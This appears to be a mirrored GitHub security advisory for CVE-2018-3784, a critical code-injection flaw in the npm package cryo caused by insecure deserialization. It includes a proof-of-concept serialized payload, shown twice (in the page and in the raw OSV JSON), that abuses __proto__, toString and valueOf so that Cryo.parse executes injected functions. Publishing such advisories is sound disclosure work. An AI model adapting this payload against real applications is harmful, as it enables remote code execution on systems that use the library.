GHSA-38F5-GHC2-FCMV严重已审查

Code Injection in cryo

OSV 1.4.0 · github-reviewed · 修改于 2023-09-13 02:38

发布时间

2018-08-22 01:02

GitHub 审查时间

2020-06-17 04:54

NVD 发布时间

—

源文件

advisories/github-reviewed/2018/08/GHSA-38f5-ghc2-fcmv/GHSA-38f5-ghc2-fcmv.json

公告说明

All versions of cryo are vulnerable to code injection due to an Insecure implementation of deserialization.

Proof of concept

var Cryo = require('cryo');
var frozen = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\");return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}'
var hydrated = Cryo.parse(frozen);
console.log(hydrated);

Recommendation

No fix is currently available. Consider using an alternative module until a fix is made available.

受影响的软件包

npm

cryo

ECOSYSTEM

标识信息

别名 / CVE

CVE-2018-3784

CWE

CWE-94

软件生态

npm

扩展资料

暂无扩展资料。

CVSS 评分

CVSS_V3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

原始 OSV JSON

{
  "id": "GHSA-38f5-ghc2-fcmv",
  "aliases": [
    "CVE-2018-3784"
  ],
  "details": "All versions of `cryo` are vulnerable to code injection due to an Insecure implementation of deserialization.\n\n\n## Proof of concept\n\n```js\nvar Cryo = require('cryo');\nvar frozen = '{\"root\":\"_CRYO_REF_3\",\"references\":[{\"contents\":{},\"value\":\"_CRYO_FUNCTION_function () {console.log(\\\\\"defconrussia\\\\\"); return 1111;}\"},{\"contents\":{},\"value\":\"_CRYO_FUNCTION_function () {console.log(\\\\\"defconrussia\\\\\");return 2222;}\"},{\"contents\":{\"toString\":\"_CRYO_REF_0\",\"valueOf\":\"_CRYO_REF_1\"},\"value\":\"_CRYO_OBJECT_\"},{\"contents\":{\"__proto__\":\"_CRYO_REF_2\"},\"value\":\"_CRYO_OBJECT_\"}]}'\nvar hydrated = Cryo.parse(frozen);\nconsole.log(hydrated);\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.",
  "summary": "Code Injection in cryo",
  "affected": [
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.6"
            }
          ]
        }
      ],
      "package": {
        "name": "cryo",
        "ecosystem": "npm"
      }
    }
  ],
  "modified": "2023-09-12T18:38:55Z",
  "severity": [
    {
      "type": "CVSS_V3",
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
    }
  ],
  "published": "2018-08-21T17:02:43Z",
  "references": [
    {
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3784",
      "type": "ADVISORY"
    },
    {
      "url": "https://hackerone.com/reports/350418",
      "type": "WEB"
    },
    {
      "url": "https://github.com/advisories/GHSA-38f5-ghc2-fcmv",
      "type": "ADVISORY"
    },
    {
      "url": "https://www.npmjs.com/advisories/690",
      "type": "WEB"
    }
  ],
  "schema_version": "1.4.0",
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "severity": "CRITICAL",
    "github_reviewed": true,
    "nvd_published_at": null,
    "github_reviewed_at": "2020-06-16T20:54:31Z"
  }
}